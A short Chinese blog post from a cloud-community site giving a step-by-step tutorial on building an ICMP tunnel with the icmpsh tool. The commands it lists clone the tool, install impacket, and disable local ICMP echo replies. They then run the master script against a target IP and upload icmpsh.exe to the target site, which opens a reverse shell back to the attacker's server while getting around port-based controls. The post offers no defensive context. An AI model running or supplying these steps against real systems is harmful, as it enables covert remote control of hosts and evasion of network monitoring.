ICMP隧道小记

举报
拈花倾城 发表于 2022/02/16 15:48:34 2022/02/16
【摘要】 ICMP隧道小记

@TOC

一般的通信协议里,如果两台设备之间需要进行通信,肯定是需要开放端口的,但是ICMP协议不需要。

step 1 下载

在这里插入图片描述

git clone https://github.com/inquisb/icmpsh.git

step 2 装第三方库

使用icmpsh需要安装python的impacket类库,以便对于各种协议进行访问。

安装Python-impacket库:

apt-get install python-impacket

如果出现下图的情况,更新一下服务器中的包即可
在这里插入图片描述
如果还是不可以的话,就只能用pip了

pip2 install impacket

step 3 配置

因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP答应(如果要恢复系统答应,则设置为0),否则Shell的运行会不稳定。

sysctl -w net.ipv4.icmp_echo_ignore_all=1

隧道利用完记得换回来1改成0就好

step 4 Run

./run.sh

然后输入目标ip即可
如果上述指令无法使用,使用python脚本跑即可,如下

python icmpsh_m.py 服务器ip 目标站点ip

上述指令输入完成之后
我们需要在对面站点的终端中运行icmpsh.exe(服务器进入icmpsh的文件夹,ls查看一下目录就可以找到,然后下载下来上传到目标站点中)运行

icmpsh.exe -t 服务器ip

这个时候就成功反弹shell到服务器了。

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。